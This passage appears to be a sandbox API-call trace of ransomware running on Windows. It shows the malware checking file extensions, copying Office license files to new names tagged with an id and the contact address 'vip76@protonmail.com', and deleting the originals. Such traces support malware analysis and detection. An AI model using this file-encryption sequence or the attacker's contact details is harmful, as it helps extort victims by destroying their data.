	[0197.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.486] lstrlenW (lpString=".zip") returned 4
	[0197.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString=".rar") returned 4
	[0197.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString=".bz2") returned 4
	[0197.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString=".7z") returned 3
	[0197.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.486] lstrlenW (lpString=".dbf") returned 4
	[0197.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.486] lstrlenW (lpString=".1cd") returned 4
	[0197.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.486] lstrlenW (lpString=".jpg") returned 4
	[0197.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.486] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.486] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33
	[0197.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.487] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11604) returned 1
	[0197.487] CloseHandle (hObject=0x514) returned 1
	[0197.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220
	[0197.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.488] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.488] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.489] GetLastError () returned 0x0
	[0197.489] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d54, lpOverlapped=0x0) returned 1
	[0197.492] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0197.493] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.493] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0197.493] SetEndOfFile (hFile=0x5e0) returned 1
	[0197.493] CloseHandle (hObject=0x5e0) returned 1
	[0197.493] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.493] SetEndOfFile (hFile=0x514) returned 1
	[0197.496] CloseHandle (hObject=0x514) returned 1
	[0197.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1
	[0197.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.497] lstrlenW (lpString=".doc") returned 4
	[0197.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.497] lstrlenW (lpString=".docx") returned 5
	[0197.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.497] lstrlenW (lpString=".pdf") returned 4
	[0197.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.497] lstrlenW (lpString=".xls") returned 4
	[0197.497] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.497] lstrlenW (lpString=".xlsx") returned 5
	[0197.497] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.497] lstrlenW (lpString=".ppt") returned 4
	[0197.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString=".zip") returned 4
	[0197.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".rar") returned 4
	[0197.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".bz2") returned 4
	[0197.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".7z") returned 3
	[0197.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString=".dbf") returned 4
	[0197.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString=".1cd") returned 4
	[0197.498] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString=".jpg") returned 4
	[0197.498] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.498] lstrlenW (lpString=".doc") returned 4
	[0197.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".docx") returned 5
	[0197.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.498] lstrlenW (lpString=".pdf") returned 4
	[0197.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".xls") returned 4
	[0197.498] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.498] lstrlenW (lpString=".xlsx") returned 5
	[0197.498] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.498] lstrlenW (lpString=".ppt") returned 4
	[0197.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.499] lstrlenW (lpString=".zip") returned 4
	[0197.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString=".rar") returned 4
	[0197.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString=".bz2") returned 4
	[0197.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString=".7z") returned 3
	[0197.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.499] lstrlenW (lpString=".dbf") returned 4
	[0197.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.499] lstrlenW (lpString=".1cd") returned 4
	[0197.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0197.499] lstrlenW (lpString=".jpg") returned 4
	[0197.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.499] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.499] lstrlenW (lpString="HomeStudentR_Trial-pl.xrm-ms") returned 28
	[0197.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.500] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11163) returned 1
	[0197.500] CloseHandle (hObject=0x514) returned 1
	[0197.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220
	[0197.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.501] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.501] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.501] GetLastError () returned 0x0
	[0197.501] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2b9b, lpOverlapped=0x0) returned 1
	[0197.750] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0197.752] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.752] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0197.752] SetEndOfFile (hFile=0x5e0) returned 1
	[0197.853] CloseHandle (hObject=0x5e0) returned 1
	[0197.853] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.853] SetEndOfFile (hFile=0x514) returned 1
	[0197.856] CloseHandle (hObject=0x514) returned 1
	[0197.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 1
	[0197.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.869] lstrlenW (lpString=".doc") returned 4
	[0197.869] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.869] lstrlenW (lpString=".docx") returned 5
	[0197.869] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.870] lstrlenW (lpString=".pdf") returned 4
	[0197.870] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".xls") returned 4
	[0197.870] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".xlsx") returned 5
	[0197.870] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.870] lstrlenW (lpString=".ppt") returned 4
	[0197.870] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString=".zip") returned 4
	[0197.870] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".rar") returned 4
	[0197.870] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".bz2") returned 4
	[0197.870] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".7z") returned 3
	[0197.870] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString=".dbf") returned 4
	[0197.870] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString=".1cd") returned 4
	[0197.870] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString=".jpg") returned 4
	[0197.870] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.870] lstrlenW (lpString=".doc") returned 4
	[0197.870] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.870] lstrlenW (lpString=".docx") returned 5
	[0197.870] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.870] lstrlenW (lpString=".pdf") returned 4
	[0197.871] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString=".xls") returned 4
	[0197.871] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString=".xlsx") returned 5
	[0197.871] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.871] lstrlenW (lpString=".ppt") returned 4
	[0197.871] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.871] lstrlenW (lpString=".zip") returned 4
	[0197.871] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString=".rar") returned 4
	[0197.871] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString=".bz2") returned 4
	[0197.871] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString=".7z") returned 3
	[0197.871] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.871] lstrlenW (lpString=".dbf") returned 4
	[0197.871] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.871] lstrlenW (lpString=".1cd") returned 4
	[0197.871] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78
	[0197.871] lstrlenW (lpString=".jpg") returned 4
	[0197.871] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.871] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.871] lstrlenW (lpString="MondoR_BypassTrial180-pl.xrm-ms") returned 31
	[0197.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.873] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11175) returned 1
	[0197.873] CloseHandle (hObject=0x460) returned 1
	[0197.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0197.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0197.873] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.873] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.874] GetLastError () returned 0x0
	[0197.874] ReadFile (in: hFile=0x460, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0197.879] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0197.880] ReadFile (in: hFile=0x460, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.880] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x112, lpOverlapped=0x0) returned 1
	[0197.880] SetEndOfFile (hFile=0x514) returned 1
	[0197.880] CloseHandle (hObject=0x514) returned 1
	[0197.880] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.880] SetEndOfFile (hFile=0x460) returned 1
	[0197.883] CloseHandle (hObject=0x460) returned 1
	[0197.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1
	[0197.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.884] lstrlenW (lpString=".doc") returned 4
	[0197.884] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.884] lstrlenW (lpString=".docx") returned 5
	[0197.884] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.884] lstrlenW (lpString=".pdf") returned 4
	[0197.884] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.884] lstrlenW (lpString=".xls") returned 4
	[0197.884] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.884] lstrlenW (lpString=".xlsx") returned 5
	[0197.884] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.884] lstrlenW (lpString=".ppt") returned 4
	[0197.884] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.884] lstrlenW (lpString=".zip") returned 4
	[0197.885] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".rar") returned 4
	[0197.885] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".bz2") returned 4
	[0197.885] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString=".7z") returned 3
	[0197.885] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.885] lstrlenW (lpString=".dbf") returned 4
	[0197.885] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.885] lstrlenW (lpString=".1cd") returned 4
	[0197.885] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0197.885] lstrlenW (lpString=".jpg") returned 4
	[0197.885] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
